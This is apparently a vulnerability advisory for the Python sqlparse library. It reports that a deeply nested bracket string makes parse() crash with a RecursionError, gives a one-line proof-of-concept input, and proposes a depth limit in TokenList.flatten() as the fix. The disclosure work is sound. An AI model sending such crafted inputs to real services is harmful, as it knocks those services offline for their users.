Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.
Running the following code will raise Maximum recursion limit exceeded exception:
import sqlparse
sqlparse.parse('[' * 10000 + ']' * 10000)
We expect a traceback of RecursionError:
Traceback (most recent call last):

RecursionError: maximum recursion depth exceeded
The flatten() function of TokenList class should limit the recursion to a maximal depth:
from sqlparse.exceptions import SQLParseError
MAX_DEPTH = 100
def flatten(self, depth=1):
"""Generator yielding ungrouped tokens.
This method is recursively called for all child tokens.
"""
if depth >= MAX_DEPTH:
raise SQLParseError('Maximal depth reached')
for token in self.tokens:
if token.is_group:
yield from token.flatten(depth + 1)
else:
yield token
Denial of Service (the impact depends on the use).
Anyone parsing a user input with sqlparse.parse() is affected.
